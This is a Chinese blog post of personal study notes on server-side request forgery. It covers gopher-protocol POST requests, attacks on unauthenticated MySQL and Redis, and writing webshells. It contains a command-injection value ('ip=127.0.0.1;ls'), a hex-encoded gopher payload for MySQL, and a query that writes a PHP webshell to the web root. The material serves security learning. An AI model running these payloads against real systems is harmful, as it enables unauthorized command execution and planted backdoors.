ssrf学习3

使用SSRF进行POST提交命令执行

使用gopher伪协议进行POST提交
POST提交格式:
POST/ HTTP/1.1
Host: 172.250.250.5
Content-Type: application/x-www-form-urlencodedContent-Length:15
ip=127.0.0.1;ls

需要4个参数和提交内容
提交内容的键值可以通过查看网页源代码

将我们构造的内容两次url编码


注意要加上端口号

url=gopher%3A%2F%2F172.250.250.5%3A80%2F_POST HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

ip=127.0.0.1;ls

使用SSRF对mysql未授权文件写入

先学习一下mysql写shell

https://www.cnblogs.com/zztac/p/11371149.html

通过MySQL写入webshell的几种方式(小宇特详解)_mysql写webshell-CSDN博客

大概了解了一下,客户端连接mysql有两种,一种是有密码,一种是无密码, 所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,这里利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

进行mysql查询的时候同样有数据包交互,我们要做的就是伪造这种数据包交互,进行curl,当然,这种我们伪造的数据包是利用gopher协议进行发送的

curl gopher://127.0.0.1/_XXXXXX 大概像这样

条件 :mysql+ php架构 dict://127.0.0.1:3306/info 判断未授权

然后我们用工具

Gopherus生成payload


gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%1f%00%00%00%03%73%68%6f%77%20%76%61%72%69%61%62%6c%65%73%20%6c%69%6b%65%20%27%25%73%65%63%75%72%65%25%27%01%00%00%00%01

这个命令看读写文件函数调用限制

注意:当执行这个命令时,需要注意单引号使用的是直角引号(‘’),而不是通常编程中使用的单引号(‘’)。这可能会导致语法错误,正确的命令应该使用标准单引号:

SHOW VARIABLES LIKE '%secure%';

这条命令的作用是列出所有名称里包含 “secure” 字样的系统变量及其值。这可以包括但不限于:

    secure_auth:当设置为 ON 时,服务器将拒绝连接不使用密码的客户端或使用旧的(不安全的)密码格式的客户端。
    secure_file_priv:用来限制 LOAD DATA INFILE、SELECT ... INTO OUTFILE 和 LOAD_FILE() 函数所操作的文件路径。如果设置了特定的目录,那么这些操作只能在该目录内进行。
    have_ssl 或 have_openssl:指示服务器是否支持 SSL 加密连接。

可以看到这里secure_file_priv 后面的值为空

所以对导入导出无限制

使用into outfile生成文件cmd.php并写入一句话

select"<?php system($_GET['cmd']);?>"into outfile '/var/www/html/cmd.php';

使用SSRF对redi未授权webshell写入

原理:

    Redis 默认情况下,会绑定在 ip地址:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

    攻击者在未授权访问 Redis 的情况下,可以利用 Redis 自身的提供的 config 命令像目标主机写WebShell、写SSH公钥、创建计划任务反弹Shell等。其思路都是一样的,就是先将Redis的本地数据库存放目录设置为web目录、~/.ssh目录或/var/spool/cron目录等,然后将dbfilename(本地数据库文件名)设置为文件名你想要写入的文件名称,最后再执行save或bgsave保存,则我们就指定的目录里写入指定的文件了。

也是用工具构造payload

(手动构造的还没有看懂)

 

  • 28
    点赞
  • 25
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值